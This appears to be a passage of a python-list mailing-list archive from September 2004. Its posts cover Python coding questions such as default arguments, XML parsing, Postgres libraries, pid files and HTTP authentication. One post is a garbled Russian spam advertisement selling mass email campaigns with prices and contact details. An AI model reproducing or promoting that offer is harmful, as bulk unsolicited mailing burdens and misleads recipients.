surprise it lasted to the > wind of the internet about 6 hours before being rooted > by a romanian idiot. Thanks very much for the heads-up. As it happens, RH9 is the only relatively new distro I have CDs for. (I'm on dialup, so DL'ing other distros is a bit onerous.) But, thanks to your "JIT" warning, I shall immediately see about ordering a different distro on CD from some online outlet and will forestall the RH9 installation for the interim. Can you or anyone recommend a better distro for an HP Omnibook 900B laptop? I currently have only a CardBus Xircom combo modem and ethernet card (RBEM56G-100) for this machine -- do any distros support this card? Or, can a different combo card be recommended? Perhaps a recommendation for just a modem card? Thanks for any advice! (Email replies are welcome, if you wish. I apologize for the munged email address in my sig, but I think spam tastes like crap :-) and am trying to avoid such. :-/ ) BTW: I'm not running a server (that I know of... -- I *am* still using Windows... :-) ). I'm looking for a decent Linux (or other Unix) for personal use -- usenet, email, webbrowsing, and offline personal-productivity stuff. > Is it only the brand name the part I don't like in > windows ? I would say not. I'm getting *so* tired of spending my limited time and energy on just *rebuilding* Windows machines. (I had to stick with Windows for some time due to a family reunion book project I was working on -- the apps I had available at the time were Windows-only, and the other contributors were also using Windows-only software. Thankfully, that seven-year project is now finally done -- so I can move on to a "real" OS. Hardware reliability remains a problem, though.) However, I also immensely dislike the ad-hoc and quite baroque Windows et al GUIs. I think that the HCI problem has not been adequately addressed on *any* of the popular platforms (to my knowledge). See my soon-to-be-posted thread titled "[OT] 'Pre-announcement' of Python-based 'computing appliance' project" for further info about my work-in-progress. Thanks again for the warning re RH9! off-to-CheapBytes'ly y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From mikel at mail.ru Tue Sep 21 17:13:31 2004 From: mikel at mail.ru (mikel at mail.ru) Date: Tue, 21 Sep 2004 21:13:31 -0000 Subject: =?iso-8859-1?q?Macco=E2=FBe_email_pacc=FB=EBk=E8_N1?= Message-ID: <004001c47ea4$6cc46653$918f93ba@tlb> ?p??e?! ?pe??a?aem ??coko???ek????y? macco?y? pacc??ky (C?AMa) ?a ????e ?em?!. B?coka? npoxo??moc?? coo??e???, y?????e????? pe?y???a?! O?xo? ?cex no??o??x ?????po?! Ha?? ?e??: 1.000.000 n?cem ? 100$ 5.000.000 ? 350$ 10.000.000 ? 570$ 20.000.000 ? 800$ - cam?e ???k?e ? ce??!. 3a?em ?e?a?? ??o ?o camomy, ko??a mo??o pyko?o???? npo?ecc?o?a?am? ? C y?o?o??c???em ?y?em pa?o?a?? c Bam?! _________________________ Email: emailer at UkrTop.com ICQ# 144472 QUALCOMM Windows Eudora Version 5.1 Your mail is python-list at python.org Ignacio Glover ps get ready From jeff at ccvcorp.com Thu Sep 9 22:14:20 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 09 Sep 2004 19:14:20 -0700 Subject: attribute assignment effects all class instances In-Reply-To: <090920041659242407%anon@anon.net> References: <090920041659242407%anon@anon.net> Message-ID: <10k23djai73gad2@corp.supernews.com> And since others have already told you *why* you're having a problem, I'll limit myself to showing you one possible way around that problem. class Node: def __init__(self, ... , adjacent = None): # .... if adjacent is None: adjacent = [None, None, None, None] self.adjacent = adjacent This way, if you don't specify adjacent, you create a *new* list of Nones, which thus won't be shared by other instances of Node. If you *do* specify adjacent, then you get what you specified (and it's up to you to make sure that it's not shared with any other Nodes). Jeff Shannon Technician/Programmer Credit International From aleaxit at yahoo.com Fri Sep 3 04:06:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 10:06:31 +0200 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <mailman.2807.1094184160.5135.python-list@python.org> Message-ID: <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> Tim Peters <tim.peters at gmail.com> wrote: ... > > traceback output in 2.4. I also had to remove the use of > > doctest.master since it looks like that's deprecated in 2.4 (it's no ... > doctest.master global. Under a hopeful belief that nobody was using > that anyway, I didn't gripe when Edward refactored it out of > existence. This is the first time we've heard that anyone *was* using > it! I guess gmpy just wasn't on your radar...! If you have no need for its multi-precision and special-functions support, that's unsurprising. > I suppose we could hack one back in, but I'd rather volunteer to > rewrite the gmpy tests to use the stronger 2.4 gimmicks ... Thanks, your offer is welcome and gladly accepted -- as long as all the tests keep running under 2.3 just as well, of course. There will be a lot of 2.3 around for a long time -- for example, Apple isn't going to change the Python version they use in Panther, which is 2.3, at least until they come out with Tiger, say in May next year, and since, as usual, they'll change $150 or so for the OS upgrade, many people will just keep running Panther (and therefore Python 2.3). Etc, etc. I do assume that it's easy to keep the hundreds of tests almost unchanged, to avoid having to maintain them separately in two versions, and support 2.3 and 2.4 with localized changes to the small spots where the tests are run...? Alex From clifford.wells at comcast.net Thu Sep 9 21:54:11 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Thu, 09 Sep 2004 18:54:11 -0700 Subject: Postgresql - Preferred Python Library In-Reply-To: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: <1094781251.16580.584.camel@devilbox.devilnet.internal> On Thu, 2004-09-09 at 16:21, Graeme Matthew wrote: > Hi All > > > I have noticed that there are a numbe rof client libraries for connecting to > Postgres. > > Can anyone tell me what is the recommended Python library for database > connections I'd strongly recommend psycopg. I've used both psycopg and the pgsql module and found psycopg to be much more stable. Unfortunately pgsql is the module shipped with PostgreSQL, so you'll probably have to download and compile psycpg yourself (and it isn't always particularly straightforward. Luckily it's worth the trouble.). Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From skip at pobox.com Fri Sep 10 11:37:46 2004 From: skip at pobox.com (Skip Montanaro) Date: Fri, 10 Sep 2004 10:37:46 -0500 Subject: WxInter In-Reply-To: <Pine.LNX.4.44.0409101630040.4881-100000@pingu.thwackety.com> References: <16705.47355.109973.263814@montanaro.dyndns.org> <Pine.LNX.4.44.0409101630040.4881-100000@pingu.thwackety.com> Message-ID: <16705.51786.699668.571410@montanaro.dyndns.org> Tom> It seems that the thing that people like about Tk is the Canvas Tom> object has anyone tried the wxFloatCanvas as a replacement. >> Where is it? Michael> http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanvas-class.html Ah, thanks. Looking quickly at that I didn't see anything like Tk's tag capability. Compare the above with http://epydoc.sourceforge.net/stdlib/public/Tkinter.Canvas-class.html Note all the tag manipulation stuff. Skip From danperl at rogers.com Tue Sep 28 16:12:23 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 16:12:23 -0400 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> <10liubfprlt4g9d@corp.supernews.com> <41597d62$0$23054$ba624c82@nntp05.dk.telia.net> <1gku3wn.1o7mvyb1gtif84N%aleaxit@yahoo.com> <WradnQAV-sMBEsTcRVn-sA@rogers.com> <10ljg2vl36tb1e@corp.supernews.com> <Iuadnd7p5_COWMTcRVn-qA@rogers.com> Message-ID: <s_idnU7IA5c2WMTcRVn-sw@rogers.com> And my bad, again. Strings do not have an append anyway. "Dan Perl" <danperl at rogers.com> wrote in message news:Iuadnd7p5_COWMTcRVn-qA at rogers.com... > Sorry, my bad. I didn't pay attention and I mistook the join( ) for an > append( ) while just copying and pasting. I've never used join( ) myself > so it didn't click in my mind. > > Dan > From simoninusa2001 at yahoo.co.uk Wed Sep 1 13:08:47 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 1 Sep 2004 10:08:47 -0700 Subject: XML documentation stinks - help? In-Reply-To: <mailman.2728.1094054755.5135.python-list@python.org> Message-ID: <ch4vmv$q5s@odak26.prod.google.com> The way I currently use XML in Perl is that you know certain tags, and then look for any data within them. E.g. you have: sub session_end_handler { if ($tag eq 'session_details') { my $session_id = $xml{'session_id'}; my $username = $xml{'username'} } } But with the XML examples I've managed to get going with Python, it seems to work in reverse - you need to know the data you're looking for first! from xml.sax import ContentHandler, parseString xmlsource = """<collection> <comic title="Sandman" number='62'> <writer>Neil Gaiman</writer> <penciller pages='1-9,18-24'>Glyn Dillon</penciller> <penciller pages="10-17">Charles Vess</penciller> </comic> </collection> """ class docHandler(ContentHandler): """overload contenthandler""" def __init__(self, title, number): self.search_title, self.search_number = title, number def startElement(self, tag, attribs): print "tag:", tag title = attribs.get('title', None) number = attribs.get('number', None) print "title:", title print "number:", number # create instance of dochandler class handler = docHandler('Sandman', '62') # parse the xml parseString(xmlsource, handler) From ville at spammers.com Thu Sep 30 05:07:32 2004 From: ville at spammers.com (Ville Vainio) Date: 30 Sep 2004 12:07:32 +0300 Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <mailman.4104.1096493884.5135.python-list@python.org> <x7d604xxv3.fsf@guru.mired.org> <fngs22-orb.ln1@lairds.us> <du7zn38qojj.fsf@amadeus.cc.tut.fi> <zaO6d.13713$gG4.4042@newsread1.news.pas.earthlink.net> Message-ID: <du7u0tgnmzv.fsf@amadeus.cc.tut.fi> >>>>> "Andrew" == Andrew Dalke <adalke at mindspring.com> writes: Andrew> Ville Vainio wrote: >> I'd go for pid file - in Unix at least, process id's are not reused so >> if no process for the pid in pidfile exists, the process has died. Andrew> They aren't? I remember seeing them cycle before. Andrew> Granted, pids are now, what 32 bit numbers so it's rare, Andrew> but there's nothing in the Unix specs to say they cannot. Ok, I stand corrected. My Linux experiments indicated that they didn't cycle in a "disruptive" fashion like NT seemed to do (where pid collision is extremely likely). Luckily, I implemented the pid check by checking the process name as well :-). -- Ville Vainio http://tinyurl.com/2prnb From drconrad at metaplay.com.au Tue Sep 14 04:26:36 2004 From: drconrad at metaplay.com.au (Simon Wittber) Date: Tue, 14 Sep 2004 16:26:36 +0800 Subject: {SPAM?} RE: Microthreads without Stackless? In-Reply-To: <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> Message-ID: <200409140813.i8E8Ddne025365@redpill.digitalventures.com.au> > M.E.Farmer wrote: > > > David Mertz covered this. :) > > 'Implementing "weightless threads" with Python generators.' > > http://gnosis.cx/publish/programming/charming_python_b7.html > > And, to put it provocatively, David Mertz got it wrong. Interestingly, it appears the articles mentioned above have been re-written since I first read them 12 months ago. The recipes described now implement a more co-routine-like behaviour. It's now an ugly, ugly recipe though, IMHO. Sw. From heikowu at ceosg.de Thu Sep 9 08:11:08 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 9 Sep 2004 14:11:08 +0200 Subject: text matching help In-Reply-To: <001e01c49660$1cca18d0$ccbefea9@twilliams> References: <chkoc4$l08$1@newsg2.svr.pol.co.uk> <200409090130.00953.heikowu@ceosg.de> <001e01c49660$1cca18d0$ccbefea9@twilliams> Message-ID: <200409091411.08557.heikowu@ceosg.de> Am Donnerstag, 9. September 2004 13:28 schrieb Tim Williams: > I need to be able to match some input text to these wildcards (eg timothy > will match tim*), * on its own is invalid, there must be text before or > after the *. Check out the fnmatch module (if you use simple wildcards, unix shell style, which aren't regular expressions): >>> import fnmatch >>> fnmatch.fnmatch("mylittletext","my*") True >>> fnmatch.fnmatch("mylittletext","little*") False >>> fnmatch.fnmatch("mylittletext","*little*") True For documentation on the wildcards accepted by fnmatch.fnmatch, use help(fnmatch) in an interactive console window after you have imported the module. HTH! Heiko. From aleaxit at yahoo.com Fri Sep 24 15:20:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 21:20:49 +0200 Subject: Python in a Nutshell for Python 2.4 References: <df045d93.0409221344.52d18be9@posting.google.com> <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> <mailman.3790.1095959172.5135.python-list@python.org> <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com> <a5415304.0409241053.77f92782@posting.google.com> Message-ID: <1gkmz7p.8s0hno1ug9eq4N%aleaxit@yahoo.com> Ron Stephens <rstephens at vectron.com> wrote: > Speaking of platform specific Python books (other than Mark Hammond's > Windows book), what a great idea! There is at least one enthusiastic > customer for a Mac OS X specific Python book (me!). Unfortunately, with O'Reilly having rejected it, I'm not sure what other publisher, if any, is enough "into" Mac _and_ Python. So for now I'm giving precedence to 2nd editions of Cookbook and Nutshell...! Alex From tjreedy at udel.edu Fri Sep 10 17:00:08 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 10 Sep 2004 17:00:08 -0400 Subject: question about random number generation References: <OFE5B98598.1EC05A6B-ON87256F0B.005E056A@seagate.com> Message-ID: <cht4kt$pd6$1@sea.gmane.org> <Lu.Fan at seagate.com> wrote in message news:OFE5B98598.1EC05A6B-ON87256F0B.005E056A at seagate.com... We have a system developed in Python. Now I'm writing tests in Java (actually a Java wrapper) to test it. I need to duplicate a random number generation process in my test which means that given the same seed I expect the same result in Java as in Python. As far as I know, Python uses the Mersenne Twister RNG --- correct me if I am wrong. Do Python and Java use the same RNG? ------------------------------------------------------------------ Python used to use something else and might use something else again in the future. The only way to have cross language determinism is to only use integer arithmetic in routine you write yourself. Terry J. Reedy From steven.bethard at gmail.com Tue Sep 21 13:24:48 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 21 Sep 2004 17:24:48 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> Message-ID: <loom.20040921T192348-961@post.gmane.org> Carlos Ribeiro <carribeiro <at> gmail.com> writes: > For example: today's lists may contain objects of arbitrary types and > can be sorted; even if the actual ordering may seem arbitrary, it > works for most purposes. My question is: If Python 3.0 abolishes > comparison between arbitrary types, how will generic sorting be > handled? Could you give an example of a list that you'd like to do this to? I'm still having trouble imagining a list of disparate types that I call sort on... Thanks, Steve From jani at persian.com Sun Sep 19 20:10:55 2004 From: jani at persian.com (Jani Yusef) Date: 19 Sep 2004 17:10:55 -0700 Subject: how python uses % operator? Message-ID: <d3be1825.0409191610.5a7fe2a7@posting.google.com> Why is it in python -1%8 is equal to 7 , which is correct, of course but in C -1%8 is given as -1 ? From steve at holdenweb.com Tue Sep 28 08:32:20 2004 From: steve at holdenweb.com (Steve Holden) Date: Tue, 28 Sep 2004 08:32:20 -0400 Subject: synchronize a block In-Reply-To: <kuWdnYATpLNh1cTcRVn-vQ@powergate.ca> References: <2rqduhF1di4lmU1@uni-berlin.de> <b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01> <WfudnV7vZuEUpMXcRVn-jQ@powergate.ca> <cjb9tk$spo$1@swifty.westend.com> <kuWdnYATpLNh1cTcRVn-vQ@powergate.ca> Message-ID: <%Uc6d.250119$4o.106825@fed1read01> Peter Hansen wrote: > Peter Maas wrote: > >> Peter Hansen schrieb: >> >>> Sometimes, and more so lately, *painfully* slowly. I'm somewhat >>> saddened by the waste involved in some of those threads where the >>> OP posts a vague question, we all spend days replying with various >>> guesses at what was really intended, and then finally the OP >>> posts again (and sometimes they don't even do us that courtesy!) >>> and says merely "oh, it wasn't that complicated, I just meant X" >>> and it turns out to have been a FAQ item anyway. :-( >> >> >> >> The best way to minimize c.l.py effort is to behave like an expert >> system: >> >> synchronize: unknown. Please explain. > > > Maybe, but then I get emails telling me I'm being rude. :-( Well Thomas, who asked the original question, has been so dumbstruck by this outpouring of irrelevant response that he has thereafter failed to enlighten us about what he really wants. So I guess we are talking to ourselves here :-) regards Steve From ptmcg at austin.rr._bogus_.com Wed Sep 15 16:23:57 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 15 Sep 2004 20:23:57 GMT Subject: function arguments References: <I43MHJ.66G@news.boeing.com> Message-ID: <xx12d.2836$W8.2567@fe1.texas.rr.com> "Joe Laughlin" <Joseph.V.Laughlin at boeing.com> wrote in message news:I43MHJ.66G at news.boeing.com... > I want to do something like the following > > def foo(list_of_args): > call_other_function(arg1, arg2, arg3) > # Where arg1 == "x", arg2 == "y", etc. > # Should work with any list size > > foo(["x", "y", "z"]) > > Make sense? Need clarification? In summary, I want to pass a list of > arguments to a function. The function needs to pass each argument in the > list to a different function. > > Thanks, > Joe > > Use *list_of_args. Try this: def sum1( a ): return a def sum2( a,b ): return a+b def sum3( a,b,c ): return a+b+c def sum4( a,b,c,d ): return a+b+c+d def sumOf(list_of_args): sumFn = (None, sum1, sum2, sum3, sum4)[len(list_of_args)] return sumFn(*list_of_args) # <-- pass thru args to other function print sumOf( [ 1,2 ] ) print sumOf( [ 1,2,3 ] ) print sumOf( [ 1,2,3,4 ] ) -- Paul From charlotte at fgm.com Sat Sep 25 02:17:32 2004 From: charlotte at fgm.com (Charlotte Henkle) Date: 24 Sep 2004 23:17:32 -0700 Subject: Counter for items in lists in lists? Message-ID: <d4eff00b.0409242217.224f86ef@posting.google.com> Hello; I'm pondering how to count the number of times an item appears in total in a nested list. For example: myList=[[a,b,c,d],[a,f,g,h],[a,b,x,y]] I'd like to know that a appeared three times, and b appeared twice, and the rest appeard only once. Every solution I've touched on so far has seemed clumsy. Does anyone have any thoughts for a down and dirty solution to this? Many thanks... /Charlotte From elainejackson7355 at home.com Thu Sep 16 14:08:12 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Thu, 16 Sep 2004 18:08:12 GMT Subject: dummy tk windows Message-ID: <gEk2d.25744$%S.13058@pd7tw2no> When I use a function from tkFileDialog outside of a tk GUI context, it creates a "dummy" tk window. It would be nice to know how to close these windows programmatically. TIA Peace From carribeiro at gmail.com Fri Sep 17 08:45:48 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 17 Sep 2004 09:45:48 -0300 Subject: wxPython Not Ready for Commercial Use In-Reply-To: <cidvde$jr9$1@news.tue.nl> References: <dcf37d82.0409160827.1de98db9@posting.google.com> <mailman.3417.1095373610.5135.python-list@python.org> <cidvde$jr9$1@news.tue.nl> Message-ID: <864d370904091705456b1af574@mail.gmail.com> On Fri, 17 Sep 2004 08:15:10 +0200, Gerrit Muller <gerrit.muller at embeddedsystems.nl> wrote: > Actually you mean expensive in terms of effort. The mismatch between the > architectures of both applications causes a lot of adaptations and > integration effort. See: "From Legacy to State-of-the-art; Architectural > Refactoring." (especially page 7) Gerrit, thank you very much for your pointers. It's a slow learning process, but it's becoming clear what I'm looking for. Sometimes it's difficult to express exactly what I mean -- english is not my first language, and also, because I left college a long time ago, so I'm not up-to-date with the latest academic talk. But I try to keep myself well informed, reading as much as I can about the topic. I'm *very* interested in the subject of architecture of systems. For a long time, most studies that I could find were focused on *systems engineering*, and I had always wondered why some stuff didn't "click" in quite right to me. I think that I'm more of an architect than an engineer, in a way. It's nice to find more about it. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From liquid at kuht.it Sat Sep 18 17:39:08 2004 From: liquid at kuht.it (GMTaglia) Date: Sat, 18 Sep 2004 21:39:08 GMT Subject: optparse question References: <qa13d.272825$OR2.12440578@news3.tin.it> <cii8g3$2op8$1@dojima-n0.hi-ho.ne.jp> Message-ID: <0W13d.272974$OR2.12451641@news3.tin.it> George Yoshida wrote: > > optparse is same as getopt in this respect. that's fine but....why? I think it will be better if only the *exact* option will match, it will avoid typing mistakes and/or accidentally wrong matches, imho. > > George ciao GMario From aleaxit at yahoo.com Sat Sep 4 05:00:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:29 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <mailman.2833.1094220348.5135.python-list@python.org> Message-ID: <1gjjy21.2sppd3100wm1fN%aleaxit@yahoo.com> Jp Calderone <exarkun at divmod.com> wrote: ... > They are new. There is no reason to worry about breaking > compatibility. Why sequences and not iterators? I would prefer the sorted returns a sequence (a list) because it must build one anyway, and it would be a waste NOT to return it in the several cases in which you want one. list(iter(list(something))) is simply a stupid waste... Alex From alexander.hoffmann at netgenius.de Wed Sep 8 12:54:25 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Wed, 8 Sep 2004 18:54:25 +0200 Subject: tuples allocated by formated print ? In-Reply-To: <chnca4$oma@odah37.prod.google.com> References: <chnca4$oma@odah37.prod.google.com> Message-ID: <200409081854.25224.alexander.hoffmann@netgenius.de> On Wednesday 08 September 2004 18:34, keirr wrote: > Alexander Hoffmann wrote: > > Hello, > > > > Recently I was debugging a memory leak in my app and finally figured > > out that > > > I had to manually implement destructors for some classes. > > While debugging I wrote a method that prints the number of instances > > per type > > > for all objects returned by gc.get_objects. I was astonished by the > > fact that > > > after perfroming a few tests with my app there were about 4000 > > instances of > > > Tuple in memory. Looking at these instances I got the feeling that > > they > > > contained the values I used in formated prints like: print ("my name > > is %s" % > > > ("alex", )) > > <snip> > > Do these objects survive gc.collect() ? yes, forgot to mention that I checked the instances after calling gc.collect () Alex From martin at v.loewis.de Tue Sep 7 16:29:15 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 07 Sep 2004 22:29:15 +0200 Subject: Method returning new instance of class? In-Reply-To: <213df9a1.0409070553.662fc885@posting.google.com> References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de> <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> <4139E730.4060203@v.loewis.de> <213df9a1.0409070553.662fc885@posting.google.com> Message-ID: <413e1a13$0$151$9b622d9e@news.freenet.de> Arthur wrote: > """The copy module does not use the copy_reg registration module.""" > > This is actually pretty esoteric stuff for someone who has not delved > into these mysteries before, so I am a bit lost. It appears that this documentation is incorrect. Just look at the source of copy.py and see for yourself: from copy_reg import dispatch_table ... def copy(x): ... reductor = dispatch_table.get(cls) ... > Is it that copy_reg comes into play in defining a custom method for > copying, that is called as a regular method, and not via the copy > module? It is a customization of the copy module. > Does anyone have a reference for copy_reg used in the specific context > of copying, rather than pickling? Sure: Assume you want to copy file objects, and that this should create a file object for the same file name and mode, but starting from the beginning. You do def copy_file(f): return file, (f.name, f.mode) copy_reg.pickle(file, copy_file, file) Then you can do >>> f=open("/etc/passwd","r") >>> f <open file '/etc/passwd', mode 'r' at 0x401f7760> >>> f.readline() 'root:x:0:0:root:/root:/bin/bash\n' >>> g=copy.copy(f) >>> g <open file '/etc/passwd', mode 'r' at 0x401f7060> >>> g.readline() 'root:x:0:0:root:/root:/bin/bash\n' Regards, Martin From scott at deerwester.org Thu Sep 16 05:19:59 2004 From: scott at deerwester.org (Scott Deerwester) Date: Thu, 16 Sep 2004 17:19:59 +0800 Subject: PyCFunction_New() ? Message-ID: <ciblr1$lpj1@imsp212.netvigator.com> Is it possible to create a Python-callable object, dynamically, in C/C++? I have a GUI app in C++, with the app logic in Python, called from the GUI via the Python C API. I need be able to call a callback function in C/C++ from the Python, in response to an event (socket, whatever...) that the Python is aware of. Callbacks in Python, called from C/C++ are very straightforward, but I haven't been able to find any examples of the converse. So I want to be able to do something like: PyCFunction *myCallback(PyObject *ob, PyObject *args) { ... } { PyObject *somePythonObject; ... PyObject *myCallbackObject = PyFunction_New(myCallback, ...); PyObject_CallMethod(somePythonObject, "setCallback", myCallbackObject); ... } Even better would be: PyCFunction *MyClass::pyCallback(PyObject *ob, PyObject *args) { ... } MyClass::MyClass() { ... PyObject_CallMethod(somePythonObject, "setCallback", this->pyCallback); ... } Any help greatly appreciated! From aleaxit at yahoo.com Sat Sep 25 13:31:52 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 19:31:52 +0200 Subject: Divisions of labor References: <mailman.3639.1095771048.5135.python-list@python.org> <Qg04d.3086$Ec4.2542@trndny04> <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <4tg822-bmd.ln1@lairds.us> <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com> <tkl822-p6i.ln1@lairds.us> <4151C3A9.6050505@bellsouth.net> <mailman.3904.1096126269.5135.python-list@python.org> Message-ID: <1gkoop6.1oy1zu9ke5qauN%aleaxit@yahoo.com> Cameron Laird <Cameron at Phaseit.net> wrote: ... > feel more benefit in thinking about, for example, monads and categories. Do you mean Leibnitz's (which I think I understand, but don't find very applicable to my daily work) or Haskell's? If the latter, WOW, I finally may have a chance to GRASP them... I will freely admit that, so far, they're the one part of that fascinating language to have escaped my feeble mental powers. I can use monads I'm given, mostly, but how would I write my own, when would it be appropriate to do so, etc, IS still quite mysterious to me... Alex From lbates at swamisoft.com Tue Sep 7 15:57:34 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 7 Sep 2004 14:57:34 -0500 Subject: writing a class References: <29179565.0409071136.4147591f@posting.google.com> Message-ID: <oKKdnUmLvus3j6PcRVn-gQ@comcast.com> You really should post what you have tried and any traceback error messages of things that didn't work. A little background explanation of what you are trying to do would also be nice. It's impossible for us to venture a guess as to what you might be doing wrong or to suggest a methodology without this information. Regards, Larry Bates Syscon, Inc. "Crypt Keeper" <crypt_keeper at rome.com> wrote in message news:29179565.0409071136.4147591f at posting.google.com... > I am trying to write a program that asks user for several input items, > then takes those items into a class that will manipulate the data and > then return a line of output. I am able to input the reuired > information, but it's the in-class processing and output line that > keeps messing up somehow. I have tried tinkering and tweaking but with > no success. > > How can I take data from the user, manipulate it through a class of > steps and then output it all into a line of output? > > Thanks!! From rm at rm.rm Tue Sep 14 20:00:21 2004 From: rm at rm.rm (Radioactive Man) Date: Wed, 15 Sep 2004 00:00:21 GMT Subject: Need script to download file at known address Message-ID: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com> I am fairly new to the latest verion of Python and using it on windows 95, 2000, and/or XP. What libraries, modules, functions, etc. would I need to set up a Python script to download a file, say "htttp://www.sound.com/files/bob.wav" to my own hard drive at "c:\sound\bob.wav"? I haven't found any good examples of such an operation in the documentation at the Python website. Any suggestions are appreciated. Thanks. From fuzzyman at gmail.com Sat Sep 4 14:20:27 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 4 Sep 2004 11:20:27 -0700 Subject: POST with basic auth and cookie from python? References: <pan.2004.09.03.20.30.52.790127@dcs.nac.uci.edu> <6f402501.0409040212.4da65570@posting.google.com> <slrncjjdlh.f6.missive@homer.localdomain> Message-ID: <6f402501.0409041020.d4c0d8d@posting.google.com> Lee Harr <missive at frontiernet.net> wrote in message news:<slrncjjdlh.f6.missive at homer.localdomain>... > On 2004-09-04, Michael Foord <fuzzyman at gmail.com> wrote: > > Dan Stromberg <strombrg at dcs.nac.uci.edu> wrote in message news:<pan.2004.09.03.20.30.52.790127 at dcs.nac.uci.edu>... > >> If I wanted to write a python script that performs basic auth, gets a > >> cookie, and then does an http POST using the cookie for authentication, > >> what would be the best python API to write to? > >> > >> Does someone already have example code that does something like this? > >> > > > Oh - if anyone can help on this it would be great !! What the heck is > > a realm and how do they work !! > > > > > > > Not sure if this helps ... > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197 Thanks - it was the comments from that recipe that I got the code to do basic athorization. One of the commenters also states that using urllib2.HTTPPasswordMgrWithDefaultRealm will also do the job (remembering the username and password for the realm, once you have supplied it). The trouble is that in *my* code (sorry to the original poster for hijacking the thread) is a CGI. This means that for each seperate page access the process starts afresh - so I would need to save in an external file the username and password combinations... which is by no means an ideal solution. The bottom line for me is that I don't actually understand what a realm is and how http does authentication beyond the first page access - does it need the username and password encoded in the headers for access to every page in that realm ? Tell you what - I'll start another thread and see if anyone replies..... Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From jerf at jerf.org Tue Sep 21 14:43:09 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 21 Sep 2004 18:43:09 GMT Subject: class size References: <cipr3e$q72$1@solaris.cc.vt.edu> Message-ID: <pan.2004.09.22.17.59.45.795261@jerf.org> On Tue, 21 Sep 2004 14:15:10 -0400, Brad Tilley wrote: > How large (lines of code) should a class be before one should split it > into smaller classes? Is there a general rule on this? How many > functions should a class contain? Are there limits (theoretical or > practical) that people learning classes should adhere to? As long as the class is doing one thing (or as I prefer to think of it, representing one concept), you're fine. I have classes that are 4 lines long (and would probably be a one-liner in most other languages), and classes 500 lines long... and that class has already had another couple hundred lines cut out of it and put into other classes. From rarawlinson at siscom.net Thu Sep 9 10:36:31 2004 From: rarawlinson at siscom.net (Robert A. Rawlinson) Date: Thu, 09 Sep 2004 10:36:31 -0400 Subject: Newbe - Error starting Python Message-ID: <41406a34$0$99874$9a6e19ea@news.newshosting.com> I am new to Python. When I tried to start it on my Suse 9.1 system I got a KDEesktop message that said: Service 'searchproviders/python. Desktop is malformatted. What is this and how can I fix it? TIA Bob From usenet_spam at janc.invalid Thu Sep 2 18:37:31 2004 From: usenet_spam at janc.invalid (JanC) Date: Thu, 02 Sep 2004 22:37:31 GMT Subject: Help req: py2exe's compiled executables only working with XP References: <173c23bb.0408282105.4cd76e07@posting.google.com> <153fa67.0408290602.10b80c47@posting.google.com> <173c23bb.0409011956.56aa222d@posting.google.com> Message-ID: <Xns9559657CD744JanC@213.118.38.197> Matthew K Jensen schreef: > I guess I should describe the problem more. When I go to execute, > nothing visibly happens. Did you try running them from a console (cmd.exe or command.com)? -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From aleaxit at yahoo.com Sun Sep 12 18:56:33 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 00:56:33 +0200 Subject: Problems with subclassing References: 